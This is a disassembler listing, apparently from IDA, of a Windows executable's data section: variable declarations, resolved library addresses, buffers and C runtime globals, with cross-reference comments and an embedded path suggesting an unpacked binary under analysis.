dword_4CB5BC dd 77E96645h ; DATA XREF: sub_409B13+7Fw
; sub_409B13+DAr ...
dword_4CB5C0 dd 77428B97h ; DATA XREF: sub_401ACD+5912r
; sub_401ACD+79CFr ...
dword_4CB5C4 dd 71AB41DAh ; DATA XREF: WinMain(x,x,x,x)+8Cr
; sub_401ACD+5118r ...
dword_4CB5C8 dd 762059A3h ; DATA XREF: sub_409B13+825w
; sub_409B13+890r ...
dword_4CB5CC dd 71C4A1B4h ; DATA XREF: sub_409B13+9A4w
; sub_409B13+A23r
dword_4CB5D0 dd 1F7CD214h ; DATA XREF: sub_409B13+C0Ew
; sub_409B13+C3Fr
dword_4CB5D4 dd 77E09134h ; DATA XREF: sub_409B13+2CCw
; sub_4184E2+47r
dword_4CB5D8 dd 77D4456Bh ; DATA XREF: sub_409B13+22Dw
; sub_411CF5+40r ...
dword_4CB5DC dd 76D629BBh ; DATA XREF: sub_409B13+91Aw
; sub_409B13+92Er ...
dword_4CB5E0 dd 1F7B9D96h ; DATA XREF: sub_409B13+C28w
dword_4CB5E4 dd 77E09070h ; DATA XREF: sub_409B13+2D9w
; sub_4184E2+4Fr
dword_4CB5E8 dd 71AB1740h ; DATA XREF: sub_409B13+574w
; sub_409B13+6E8r ...
dword_4CB5EC dd 7620AFB6h ; DATA XREF: sub_409B13+83Fw
; sub_409B13+873r
dword_4CB5F0 dd 77D5C13Ah ; DATA XREF: sub_409B13+220w
; sub_409B13+23Cr ...
dword_4CB5F4 dd 77D45B19h ; DATA XREF: sub_409B13+172w
; sub_409B13+1C2r ...
dword_4CB5F8 dd 71AB157Eh ; DATA XREF: sub_401ACD+1E31r
; sub_401ACD+5AC8r ...
dword_4CB5FC dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+51A2r ...
dword_4CB600 dd 71AB14DCh ; DATA XREF: sub_409B13+567w
; sub_409B13+6DCr ...
dword_4CB604 dd 0CC0004h ; DATA XREF: sub_409B13+8DBw
; sub_409B13:loc_40A40Cw ...
dword_4CB608 dd 77DD590Bh ; DATA XREF: sub_401000+26r
; sub_409B13+28Bw ...
dword_4CB60C dd 71ABD755h ; DATA XREF: sub_401ACD+795Ar
; sub_409B13+69Fw ...
dword_4CB610 dd 77DF7311h ; DATA XREF: sub_409B13+32Dw
; sub_409B13+341r ...
dword_4CB614 dd 77DDA2AFh ; DATA XREF: sub_409B13+3B3w
; sub_409B13+3EFr ...
dword_4CB618 dd 1F7CD927h ; DATA XREF: sub_409B13+C01w
; sub_409B13+C37r
dword_4CB61C dd 76206853h ; DATA XREF: sub_409B13+818w
; sub_409B13+888r ...
dword_4CB620 dd 77D4932Ch ; DATA XREF: sub_409B13+206w
; sub_409B13+227r ...
dword_4CB624 dd 77D5E310h ; DATA XREF: sub_409B13+18Cw
; sub_409B13+1D2r ...
dword_4CB628 dd 76206B7Fh ; DATA XREF: sub_409B13+832w
; sub_409B13+898r ...
dword_4CB62C dd 71AB1444h ; DATA XREF: sub_409B13+624w
; sub_409B13+774r ...
dword_4CB630 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar
; sub_409B13+2BFw ...
dword_4CB634 dd 71AB3F8Dh ; DATA XREF: sub_409B13+66Bw
; sub_409B13+79Cr ...
dword_4CB638 dd 77DD5D20h ; DATA XREF: sub_409B13+320w
; sub_409B13+334r ...
dword_4CB63C dd 71AB1890h ; DATA XREF: sub_409B13+644w
; sub_409B13+784r ...
dword_4CB640 dd 77C76B34h ; DATA XREF: sub_409B13+44Cw
; sub_409B13+4AEr ...
dword_4CB644 dd 77D5E38Ch ; DATA XREF: sub_409B13+199w
; sub_409B13+1DAr ...
dword_4CB648 dd 77DDA20Bh ; DATA XREF: sub_409B13+365w
; sub_409B13+3BAr ...
dword_4CB64C dd 76F36EEBh ; DATA XREF: sub_409B13+AA2w
dword_4CB650 dd 71AB12A7h ; DATA XREF: sub_409B13+5DCw
; sub_409B13+748r ...
dword_4CB654 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5154r ...
dword_4CB658 dd 77EBA595h ; DATA XREF: sub_409B13+4Bw
; sub_409B13+C2r ...
dword_4CB65C dd 77C7531Dh ; DATA XREF: sub_409B13+473w
; sub_409B13+4CBr ...
dword_4CB660 dd 77D4BDCAh ; DATA XREF: sub_409B13+165w
; sub_409B13+1BAr ...
dword_4CB664 dd 71C3516Ah ; DATA XREF: sub_409B13+9FFw
; sub_409B13+A5Br ...
dword_4CB668 dd 71AB32CAh ; DATA XREF: sub_409B13+685w
; sub_409B13+7ACr ...
dword_4CB66C dd 71AB5690h ; DATA XREF: sub_401955+D1r
; sub_401ACD+51B7r ...
dword_4CB670 dd 1F7CB8F8h ; DATA XREF: sub_409B13+C1Bw
; sub_409B13+C47r
dword_4CB674 dd 77EBB1E7h ; DATA XREF: sub_409B13+3Ew
; sub_409B13+BAr ...
dword_4CB678 dd 77DD59F0h ; DATA XREF: sub_401000+45r
; sub_409B13+298w ...
dword_4CB67C dd 71AB5DE2h ; DATA XREF: sub_409B13+651w
; sub_409B13+78Cr ...
dword_4CB680 dd 71AB3ECEh ; DATA XREF: sub_409B13+637w
; sub_409B13+77Cr ...
dword_4CB684 dd 73B81B0Fh ; DATA XREF: sub_401ACD+73BAr
; sub_409B13+C92w
dword_4CB688 dd 76204E4Dh ; DATA XREF: sub_409B13+879w
; sub_4163FA+4DCr ...
dword_4CB68C dd 0 ; DATA XREF: sub_409B13+112w
dword_4CB690 dd 1F7D886Ah ; DATA XREF: sub_409B13+BE7w
; sub_409B13+C22r
dword_4CB694 dd 71AB12F8h ; DATA XREF: sub_401ACD+2FE5r
; sub_401ACD+5F99r ...
dword_4CB698 dd 77C76551h ; DATA XREF: sub_409B13+459w
; sub_409B13+4BBr ...
dword_4CB69C dd 77C729E2h ; DATA XREF: sub_409B13+49Aw
; sub_409B13+4E3r ...
dword_4CB6A0 dd 77C7212Fh ; DATA XREF: sub_409B13+466w
; sub_409B13+4C3r ...
dword_4CB6A4 dd 71AB1AF4h ; DATA XREF: sub_401955+89r
; sub_401ACD+51D4r ...
dword_4CB6A8 dd 77D5E303h ; DATA XREF: sub_409B13+1A6w
; sub_409B13+1E2r ...
dword_4CB6AC dd 71C4576Ch ; DATA XREF: sub_409B13+9F2w
; sub_409B13+A53r ...
dword_4CB6B0 dd 77D4702Fh ; DATA XREF: sub_409B13+158w
; sub_409B13+1ADr ...
dword_4CB6B4 dd 77E6C0E3h ; DATA XREF: sub_409B13+8Cw
; sub_409B13+E2r ...
dword_4CB6B8 dd 71AB1ED3h ; DATA XREF: sub_409B13+610w
; sub_409B13+764r ...
dword_4CB6BC dd 71B2A381h ; DATA XREF: sub_409B13+B43w
; sub_409B13+B5Fr
dword_4CB6C0 dd 77DDA595h ; DATA XREF: sub_409B13+33Aw
; sub_419652+55r
dword_4CB6C4 dd 77DD22EAh ; DATA XREF: sub_409B13+27Ew
; sub_409B13+2D3r ...
dword_4CB6C8 dd 773F97B0h ; DATA XREF: sub_409B13+BAAw
dword_4CB6CC dd 76D67A29h ; DATA XREF: sub_409B13+AECw
; sub_40AB32+CEr
dword_4CB6D0 dd 76D674FAh ; DATA XREF: sub_409B13+ADFw
; sub_409B13+AE6r ...
dword_4CB6D4 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5133r ...
dword_4CB6D8 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5125r
; sub_401ACD+7981r ...
dword_4CB6DC dd 1F7BA3A9h ; DATA XREF: sub_409B13+BF4w
; sub_409B13+C2Fr
dword_4CB6E0 dd 71AB401Ch ; DATA XREF: sub_401ACD+1E57r
; sub_401ACD+5AEEr ...
dword_4CB6E4 dd 71C214BAh ; DATA XREF: sub_409B13+9B1w
; sub_409B13+A2Br ...
dword_4CB6E8 dd 71AB868Dh ; DATA XREF: sub_409B13+65Ew
; sub_409B13+794r ...
dword_4CB6EC dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CB6F0 dd 71AB155Ah ; DATA XREF: sub_409B13+59Bw
; sub_409B13+70Cr ...
dword_4CB6F4 dd 71B22C25h ; DATA XREF: sub_409B13+B36w
; sub_409B13+B57r
dword_4CB6F8 dd 71AB5A01h ; DATA XREF: sub_409B13+540w
; sub_409B13+6C4r ...
dword_4CB6FC dd 71B2ACCBh ; DATA XREF: sub_409B13+B29w
; sub_409B13+B4Ar
dword_4CB700 dd 77E78C17h ; DATA XREF: WinMain(x,x,x,x)+52r
; sub_409B13+31w ...
dword_4CB704 dd 77D49A11h ; DATA XREF: sub_409B13+17Fw
; sub_409B13+1CAr ...
dd 0
dword_4CB70C dd 76D62A37h ; DATA XREF: sub_409B13+927w
; sub_409B13+93Br ...
dword_4CB710 dd 77E6CBF9h ; DATA XREF: sub_409B13+99w
; sub_409B13+EAr ...
dword_4CB714 dd 0 ; DATA XREF: sub_409B13:loc_409C11w
; sub_409B13+12Bw ...
dword_4CB718 dd 0 ; DATA XREF: sub_409B13+126w
; sub_40A7CF+1Cr
dword_4CB71C dd 0 ; DATA XREF: sub_409B13:loc_409D01w
; sub_409B13:loc_409D68w ...
dword_4CB720 dd 0 ; DATA XREF: sub_409B13+250w
; sub_40A7CF+50r
dword_4CB724 dd 0 ; DATA XREF: WinMain(x,x,x,x)+349r
; sub_401ACD+4568r ...
dword_4CB728 dd 0 ; DATA XREF: sub_409B13+41Ew
; sub_40A7CF+84r
dword_4CB72C dd 0 ; DATA XREF: sub_409B13:loc_40A017w
; sub_40A7CF:loc_40A87Fr
dword_4CB730 dd 0 ; DATA XREF: sub_409B13+4FFw
; sub_40A7CF+B8r
dword_4CB734 dd 0 ; DATA XREF: sub_409B13:loc_40A2E8w
; sub_40A7CF:loc_40A8B3r
dword_4CB738 dd 0 ; DATA XREF: sub_409B13+7D0w
; sub_40A7CF+ECr
dword_4CB73C dd 0 ; DATA XREF: sub_409B13:loc_40A3D3w
; sub_409B13+8EFw ...
dword_4CB740 dd 0 ; DATA XREF: sub_409B13+8EAw
; sub_40A7CF+120r
dword_4CB744 dd 0 ; DATA XREF: sub_401ACD:loc_406F18r
; sub_409B13:loc_40A467w ...
dword_4CB748 dd 0 ; DATA XREF: sub_409B13+94Fw
; sub_40A7CF+154r
dword_4CB74C dd 0 ; DATA XREF: sub_401ACD+4570r
; sub_409B13:loc_40A583w ...
dword_4CB750 dd 0 ; DATA XREF: sub_409B13+A6Bw
; sub_40A7CF+188r
dword_4CB754 dd 0 ; DATA XREF: sub_409B13:loc_40A5CDw
; sub_40A7CF:loc_40A983r
dword_4CB758 dd 0 ; DATA XREF: sub_409B13+AB5w
; sub_40A7CF+1BCr
dword_4CB75C dd 0 ; DATA XREF: sub_409B13:loc_40A617w
; sub_40A7CF:loc_40A9B7r
dword_4CB760 dd 0 ; DATA XREF: sub_409B13+AFFw
; sub_40A7CF+1F0r
dword_4CB764 dd 0 ; DATA XREF: sub_409B13:loc_40A68Bw
; sub_40A7CF:loc_40A9EBr
dword_4CB768 dd 0 ; DATA XREF: sub_409B13+B73w
; sub_40A7CF+224r
dword_4CB76C dd 0 ; DATA XREF: sub_409B13:loc_40A6D5w
; sub_40A7CF:loc_40AA1Fr
dword_4CB770 dd 0 ; DATA XREF: sub_409B13+BBDw
; sub_40A7CF+258r
dword_4CB774 dd 0 ; DATA XREF: sub_409B13:loc_40A773w
; sub_40A7CF:loc_40AA53r
dword_4CB778 dd 0 ; DATA XREF: sub_409B13+C5Bw
; sub_40A7CF+28Cr
dword_4CB77C dd 0 ; DATA XREF: sub_409B13:loc_40A7BDw
; sub_40A7CF:loc_40AA87r
dword_4CB780 dd 0 ; DATA XREF: sub_409B13+CA5w
; sub_40A7CF+2C0r
; char byte_4CB784[]
byte_4CB784 db 1Ch dup(0) ; DATA XREF: sub_40AC10+32o
dword_4CB7A0 dd 0 ; DATA XREF: sub_40BA57+18r
; sub_40BFEC+92w ...
dword_4CB7A4 dd 0 ; DATA XREF: sub_40C125+4Dr
; sub_40C33D+D9w ...
dd 7FEh dup(0)
dword_4CD7A0 dd 6 dup(0) ; DATA XREF: sub_40C125+D2o
; sub_40C125+13Bo ...
dword_4CD7B8 dd 0 ; DATA XREF: sub_40BACE+2C4w
; sub_40BACE+348o
dword_4CD7BC dd 0 ; DATA XREF: sub_40BACE+33Ew
; sub_40BACE+35Ar
dword_4CD7C0 dd 0 ; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4 dd 0 ; DATA XREF: sub_40BACE+2B9w
; sub_40BACE:loc_40BDE3r
; char byte_4CD7C8[]
byte_4CD7C8 db 80h dup(0) ; DATA XREF: sub_40BACE+2E2o
; sub_40BACE+302o
dword_4CD848 dd 0 ; DATA XREF: sub_40BACE+2D5w
dword_4CD84C dd 0 ; DATA XREF: sub_40BACE+2EFw
; sub_40BACE+30Fw
dword_4CD850 dd 0 ; DATA XREF: sub_40BACE:loc_40BE3Er
align 8
dword_4CD858 dd 0 ; DATA XREF: sub_40BACE+82w
; sub_40BACE+101o
dword_4CD85C dd 41h dup(0) ; DATA XREF: sub_40BACE+41o
; char byte_4CD960[]
byte_4CD960 db 104h dup(0) ; DATA XREF: sub_40BACE+69o
dword_4CDA64 dd 0 ; DATA XREF: sub_40BACE+F7w
; sub_40BACE+113r
dword_4CDA68 dd 0 ; DATA XREF: sub_40BACE+52w
dword_4CDA6C dd 0 ; DATA XREF: sub_40BACE+4Dw
; sub_40BACE+D4r
; char byte_4CDA70[]
byte_4CDA70 db 80h dup(0) ; DATA XREF: sub_40BACE+9Ao
; sub_40BACE+BAo
dword_4CDAF0 dd 0 ; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4 dd 0 ; DATA XREF: sub_40BACE+A7w
; sub_40BACE+C7w
dword_4CDAF8 dd 0 ; DATA XREF: sub_40BACE:loc_40BBF7r
align 10h
dword_4CDB00 dd 0 ; DATA XREF: sub_40BACE+1A5w
; sub_40BACE+225o
dword_4CDB04 dd 41h dup(0) ; DATA XREF: sub_40BACE+167o
; char byte_4CDC08[]
byte_4CDC08 db 104h dup(0) ; DATA XREF: sub_40BACE+18Co
dword_4CDD0C dd 0 ; DATA XREF: sub_40BACE+21Bw
; sub_40BACE+237r
dword_4CDD10 dd 0 ; DATA XREF: sub_40BACE+17Aw
dword_4CDD14 dd 0 ; DATA XREF: sub_40BACE+175w
; sub_40BACE+1F8r
; char byte_4CDD18[]
byte_4CDD18 db 80h dup(0) ; DATA XREF: sub_40BACE+1BEo
; sub_40BACE+1DEo
dword_4CDD98 dd 0 ; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C dd 0 ; DATA XREF: sub_40BACE+1CBw
; sub_40BACE+1EBw
dword_4CDDA0 dd 0 ; DATA XREF: sub_40BACE:loc_40BD1Br
align 8
dword_4CDDA8 dd 0 ; DATA XREF: sub_40BACE+417w
; sub_40BACE+470o
; char byte_4CDDAC[]
byte_4CDDAC db 288h dup(0) ; DATA XREF: sub_40BACE+405o
; char byte_4CE034[]
byte_4CE034 db 104h dup(0) ; DATA XREF: sub_40BACE+3CFo
dword_4CE138 dd 0 ; DATA XREF: sub_40BACE+3FCw
; sub_40BACE+423r
align 10h
dword_4CE140 dd 0 ; DATA XREF: sub_40BACE+466w
; sub_40BACE+482r
dword_4CE144 dd 0 ; DATA XREF: sub_40BACE+429w
dword_4CE148 dd 0 ; DATA XREF: sub_40BACE+436w
dword_4CE14C dd 0 ; DATA XREF: sub_40BACE+3F6w
dd 0
dword_4CE154 dd 0 ; DATA XREF: sub_40BACE:loc_40BF66r
dd 0
dword_4CE15C dd 0 ; DATA XREF: sub_40B71A+Er
; sub_40B71A+32r ...
dword_4CE160 dd 0 ; DATA XREF: sub_40B71A+9r
; sub_40B71A+26r ...
; char byte_4CE164[]
byte_4CE164 db 208h dup(0) ; DATA XREF: sub_40C59C+8Do
dword_4CE36C dd 2 dup(0) ; DATA XREF: sub_40CF05+68o
dword_4CE374 dd 2080Ah ; DATA XREF: sub_40D8A0+8w
; sub_40D99C+2D3o
dd 0
dword_4CE37C dd 2 dup(0) ; DATA XREF: sub_40D99C+209o
dword_4CE384 dd 0 ; DATA XREF: sub_40E4B9+1Fr
; sub_40E504+BCo ...
dword_4CE388 dd 0 ; DATA XREF: sub_40E504+B7o
; sub_40E504+DAr ...
dword_4CE38C dd 0 ; DATA XREF: sub_40E504+9Ao
; sub_40E504+CFr ...
dword_4CE390 dd 0 ; DATA XREF: sub_40E476+35r
; sub_40E504+95o ...
dword_4CE394 dd 0 ; DATA XREF: sub_40E476+17r
; sub_40E4B9+3Dr ...
dd 0
dword_4CE39C dd 0C1A5h ; DATA XREF: sub_40BACE+2AEr
; sub_40E6D9+10w ...
dd 0
dword_4CE3A4 dd 0 ; DATA XREF: sub_40B786+1Cr
; sub_40E6F0+27Cw
dword_4CE3A8 dd 0 ; DATA XREF: sub_40EFBF+2Aw
; sub_40EFBF+51r ...
dd 3 dup(0)
dword_4CE3B8 dd 0 ; DATA XREF: sub_4107C0+146r
align 10h
dword_4CE3C0 dd 0 ; DATA XREF: sub_412352+4w
; sub_412352+9o
align 8
byte_4CE3C8 db 0 ; DATA XREF: sub_412E9E+1D3w
; sub_412E9E+2D2o
align 2
word_4CE3CA dw 0 ; DATA XREF: sub_412E9E+1E3w
word_4CE3CC dw 0 ; DATA XREF: sub_412E9E+1E9w
word_4CE3CE dw 0 ; DATA XREF: sub_412E9E+1F0w
byte_4CE3D0 db 0 ; DATA XREF: sub_412E9E+1F7w
byte_4CE3D1 db 0 ; DATA XREF: sub_412E9E+1FEw
word_4CE3D2 dw 0 ; DATA XREF: sub_412E9E+204w
dword_4CE3D4 dd 0 ; DATA XREF: sub_412E9E+234w
; sub_412E9E+250w
dword_4CE3D8 dd 0 ; DATA XREF: sub_412E9E+258w
byte_4CE3DC db 0 ; DATA XREF: sub_412E9E+26Aw
byte_4CE3DD db 0 ; DATA XREF: sub_412E9E+27Dw
word_4CE3DE dw 0 ; DATA XREF: sub_412E9E+295w
word_4CE3E0 dw 0 ; DATA XREF: sub_412E9E+2A4w
word_4CE3E2 dw 0 ; DATA XREF: sub_412E9E+29Cw
dword_4CE3E4 dd 101h dup(0) ; DATA XREF: sub_412E9E+2B9o
; char byte_4CE7E8[]
byte_4CE7E8 db 200h dup(0) ; DATA XREF: sub_401ACD+2F6Fo
; sub_401ACD:loc_404AC5o ...
byte_4CE9E8 db 0 ; DATA XREF: sub_414746+1A1w
; sub_414746+27Ao
align 2
word_4CE9EA dw 0 ; DATA XREF: sub_414746+1AEw
word_4CE9EC dw 0 ; DATA XREF: sub_414746+1B8w
word_4CE9EE dw 0 ; DATA XREF: sub_414746+1C1w
byte_4CE9F0 db 0 ; DATA XREF: sub_414746+1C8w
byte_4CE9F1 db 0 ; DATA XREF: sub_414746+1CFw
word_4CE9F2 dw 0 ; DATA XREF: sub_414746+1D6w
dword_4CE9F4 dd 0 ; DATA XREF: sub_414746+1E3w
dword_4CE9F8 dd 0 ; DATA XREF: sub_414746+1EBw
word_4CE9FC dw 0 ; DATA XREF: sub_414746+244w
word_4CE9FE dw 0 ; DATA XREF: sub_414746+22Cw
word_4CEA00 dw 0 ; DATA XREF: sub_414746+256w
word_4CEA02 dw 0 ; DATA XREF: sub_414746+1F7w
dword_4CEA04 dd 101h dup(0) ; DATA XREF: sub_414746+265o
dword_4CEE08 dd 0 ; DATA XREF: sub_401ACD+1A24w
; sub_401ACD+2F67r ...
dd 3 dup(0)
byte_4CEE18 db 0 ; DATA XREF: sub_414C2F+241o
; sub_414C2F+250w ...
byte_4CEE19 db 0 ; DATA XREF: sub_414C2F+264w
word_4CEE1A dw 0 ; DATA XREF: sub_414C2F+295w
word_4CEE1C dw 0 ; DATA XREF: sub_414C2F+27Cw
; sub_414C2F:loc_415001w
word_4CEE1E dw 0 ; DATA XREF: sub_414C2F+29Bw
byte_4CEE20 db 0 ; DATA XREF: sub_414C2F+288w
byte_4CEE21 db 0 ; DATA XREF: sub_414C2F+25Dw
word_4CEE22 dw 0 ; DATA XREF: sub_414C2F+3F2w
; sub_414C2F+41Cw
dword_4CEE24 dd 0 ; DATA XREF: sub_414C2F:loc_414EF8w
; sub_414C2F+39Ar
dword_4CEE28 dd 0 ; DATA XREF: sub_414C2F+2D6w
word_4CEE2C dw 0 ; DATA XREF: sub_414C2F+394w
; sub_414C2F+3E8o
word_4CEE2E dw 0 ; DATA XREF: sub_414C2F+335w
; sub_414C2F+35Ar ...
dword_4CEE30 dd 0 ; DATA XREF: sub_414C2F+30Cw
; sub_414C2F+3D9w
dword_4CEE34 dd 0 ; DATA XREF: sub_414C2F+328w
; sub_414C2F+3ABw ...
byte_4CEE38 db 0 ; DATA XREF: sub_414C2F+311r
; sub_414C2F+31Fw
byte_4CEE39 db 0 ; DATA XREF: sub_414C2F+2DBw
; sub_414C2F+3A4w ...
word_4CEE3A dw 0 ; DATA XREF: sub_414C2F+2E9w
word_4CEE3C dw 0 ; DATA XREF: sub_414C2F+3F9w
; sub_414C2F+42Aw
word_4CEE3E dw 0 ; DATA XREF: sub_414C2F+32Ew
word_4CEE40 dw 0 ; DATA XREF: sub_414C2F+360w
; sub_414C2F+432o
word_4CEE42 dw 0 ; DATA XREF: sub_414C2F+36Fw
; sub_414C2F+409w
dword_4CEE44 dd 0 ; DATA XREF: sub_414C2F+369w
align 10h
dword_4CEE50 dd 0 ; DATA XREF: sub_414C2F+39Fw
; sub_414C2F+417o
dword_4CEE54 dd 0 ; DATA XREF: sub_414C2F+33Bw
byte_4CEE58 db 0 ; DATA XREF: sub_414C2F+341w
byte_4CEE59 db 0 ; DATA XREF: sub_414C2F+347w
word_4CEE5A dw 0 ; DATA XREF: sub_414C2F+354w
dword_4CEE5C dd 7 dup(0) ; DATA XREF: sub_414C2F+3EDo
dword_4CEE78 dd 0 ; DATA XREF: sub_414C2F+30w
; sub_414C2F+43Br
; char byte_4CEE7C[]
byte_4CEE7C db 400h dup(0) ; DATA XREF: sub_414C2F+1C3o
; sub_414C2F+47Eo
; char byte_4CF27C[]
byte_4CF27C db 4000h dup(0) ; DATA XREF: sub_4151AD+1Do
; sub_41524Do ...
; char byte_4D327C[]
byte_4D327C db 4 dup(0) ; DATA XREF: sub_4151AD+13o
; sub_41524D+Eo ...
dword_4D3280 dd 0 ; DATA XREF: sub_4155F8+Fr
; sub_4157F1+12r
align 8
dword_4D3288 dd 0Eh dup(0) ; DATA XREF: sub_416923+Fo
; char byte_4D32C0[]
byte_4D32C0 db 200h dup(0) ; DATA XREF: sub_4175EA+41o
; wchar_t word_4D34C0
word_4D34C0 dw 0 ; DATA XREF: sub_416F1B+C7o
; sub_417276+DDo ...
align 4
dd 1FFh dup(0)
; wchar_t word_4D3CC0
word_4D3CC0 dw 0 ; DATA XREF: sub_416F1B+D6o
; sub_417276+F4o ...
align 4
dd 123h dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .data:off_437F28o
dd 0DBh dup(0)
dword_4D44C0 dd 0 ; DATA XREF: sub_416F1B+86w
; sub_4170ED+94r
dword_4D44C4 dd 0 ; DATA XREF: sub_416F1B+A7w
; sub_417553+55r ...
dword_4D44C8 dd 0 ; DATA XREF: sub_416F1B+A0w
; sub_4170ED+D6r ...
dword_4D44CC dd 0 ; DATA XREF: sub_416F1B+79w
; sub_4170ED+35r ...
; char byte_4D44D0[]
byte_4D44D0 db 200h dup(0) ; DATA XREF: sub_417553+5Eo
dword_4D46D0 dd 0 ; DATA XREF: sub_416F1B+93w
; sub_4170ED+A2r
align 8
dword_4D46D8 dd 0 ; DATA XREF: sub_416F1B+E7o
; sub_416F1B+103r ...
dword_4D46DC dd 0 ; DATA XREF: sub_417276+17Bw
; sub_41741D+107w
; void *Src
Src dd 0 ; DATA XREF: sub_417276+180w
; sub_41741D+10Dw ...
dword_4D46E4 dd 0 ; DATA XREF: sub_417276+159w
; sub_417553+4Fr
dword_4D46E8 dd 0 ; DATA XREF: sub_4178BB+22w
; sub_4178BB:loc_417A40w ...
dword_4D46EC dd 0 ; DATA XREF: sub_401ACD+3CC4o
; sub_417789+12o ...
dd 0
dword_4D46F4 dd 0 ; DATA XREF: sub_4178BB+1Cr
; sub_417A60+3Ar
dd 7Fh dup(0)
dword_4D48F4 dd 0 ; DATA XREF: sub_4178BB+28r
; sub_417A60+4Aw
dd 1944h dup(0)
dword_4DAE08 dd 0 ; DATA XREF: sub_417A60+23o
; char byte_4DAE0C[]
byte_4DAE0C db 204h dup(0) ; DATA XREF: sub_401ACD+3CE2o
; sub_417789+3Co ...
; char byte_4DB010[]
byte_4DB010 db 5Ch dup(0) ; DATA XREF: sub_4187DE:loc_4188FBo
; sub_4187DE+131o ...
; char byte_4DB06C[]
byte_4DB06C db 200h dup(0) ; DATA XREF: sub_419594+7Co
; sub_419594+A5o
dword_4DB26C dd 0 ; DATA XREF: sub_418B59+45w
; sub_418B59+4Dr ...
; char byte_4DB270[]
byte_4DB270 db 5Ch dup(0) ; DATA XREF: sub_419460:loc_419582o
; sub_419460+12Do
; char byte_4DB2CC[]
byte_4DB2CC db 200h dup(0) ; DATA XREF: sub_418A99+4Co
; sub_418A99+7Eo ...
byte_4DB4CC db 0 ; DATA XREF: sub_418B59+29r
; sub_418B59+34w
align 10h
; char byte_4DB4D0[]
byte_4DB4D0 db 200h dup(0) ; DATA XREF: sub_418DB0+61o
; sub_418DB0+89o ...
; char byte_4DB6D0[]
byte_4DB6D0 db 204h dup(0) ; DATA XREF: sub_4186C2:loc_4186FAo
; sub_4186C2+5Bo
dword_4DB8D4 dd 0 ; DATA XREF: sub_419A21:loc_419A42r
; sub_419B10+54r ...
dword_4DB8D8 dd 0 ; DATA XREF: sub_419A21r
; sub_419B10+37r ...
dword_4DB8DC dd 0 ; DATA XREF: sub_419A51+1Ar
; sub_419C65+83o
dword_4DB8E0 dd 0 ; DATA XREF: sub_419A21:loc_419A35r
; sub_419C65+11Bw
; char byte_4DB8E4[]
byte_4DB8E4 db 34h dup(0) ; DATA XREF: sub_419B10+13o
; sub_419C65:loc_419DA2o
; int dword_4DB918
dword_4DB918 dd 0 ; DATA XREF: sub_419B10+CDr
; sub_419B10+ECr ...
align 10h
; char byte_4DB920[]
byte_4DB920 db 38h dup(0) ; DATA XREF: sub_41A88C+47o
dword_4DB958 dd 0 ; DATA XREF: _strtoxl+1B9w
; _fseek:loc_41D268w ...
dword_4DB95C dd 0 ; DATA XREF: sub_41D3BE+35w
; __close:loc_41DB0Cw ...
dword_4DB960 dd 0 ; DATA XREF: __sopen+13Ar
dword_4DB964 dd 0A28h ; DATA XREF: start+52w
dword_4DB968 dd 501h ; DATA XREF: start+49w
dword_4DB96C dd 5 ; DATA XREF: start+3Ew
dword_4DB970 dd 1 ; DATA XREF: start+30w
dword_4DB974 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401516r
; __setargv+91w
dword_4DB978 dd 920B20h ; DATA XREF: WinMain(x,x,x,x)+2FEr
; WinMain(x,x,x,x)+31Er ...
align 10h
; void *dword_4DB980
dword_4DB980 dd 920B48h ; DATA XREF: __setenvp+44w _getenv+9r ...
dword_4DB984 dd 0 ; DATA XREF: ___crtsetenv+36r
dword_4DB988 dd 0 ; DATA XREF: _getenv+16r
; ___wtomb_environ+4r ...
align 10h
off_4DB990 dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DB998 db 0 ; DATA XREF: _doexit+2Dw
; ___endstdio+5r
align 4
dword_4DB99C dd 0 ; DATA XREF: _doexit+27w
dword_4DB9A0 dd 0 ; DATA XREF: _doexit+4r _doexit+8Bw
dword_4DB9A4 dd 0 ; DATA XREF: _strtok+3Br _strtok+91w
dd 0
dword_4DB9AC dd 0 ; DATA XREF: __fpmath+Aw
dword_4DB9B0 dd 0 ; DATA XREF: _time+5Er _time+A4w
align 8
word_4DB9B8 dw 0 ; DATA XREF: _time+55r _time+9Ao
word_4DB9BA dw 0 ; DATA XREF: _time+48r
db 2 dup(0)
word_4DB9BE dw 0 ; DATA XREF: _time+3Br
word_4DB9C0 dw 0 ; DATA XREF: _time+2Er
word_4DB9C2 dw 0 ; DATA XREF: _time+21r
align 8
; char *dword_4DB9C8
dword_4DB9C8 dd 0 ; DATA XREF: start+84w
; __setenvp:loc_422EDCr ...
align 10h
dword_4DB9D0 dd 0 ; DATA XREF: __amsg_exitr
; _fast_error_exitr ...
dword_4DB9D4 dd 0 ; DATA XREF: sub_41EB10+4Bw
; sub_41EC29+2Dw ...
dword_4DB9D8 dd 0 ; DATA XREF: __callnewhr
dword_4DB9DC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er
; sub_41B202:loc_41B43Fr ...
dword_4DB9E0 dd 1 ; DATA XREF: __setmbcp:loc_420024r
; _getSystemCP+4w ...
dword_4DB9E4 dd 0 ; DATA XREF: __stbuf+37r
dd 0
dword_4DB9EC dd 0 ; DATA XREF: __cftoe+11r __cftof+1Ar ...
byte_4DB9F0 db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ...
align 4
dword_4DB9F4 dd 0 ; DATA XREF: __cftof+11r __cftog+21w ...
byte_4DB9F8 db 0 ; DATA XREF: __cftog+51w
align 4
dword_4DB9FC dd 0 ; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+4Er
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar ...
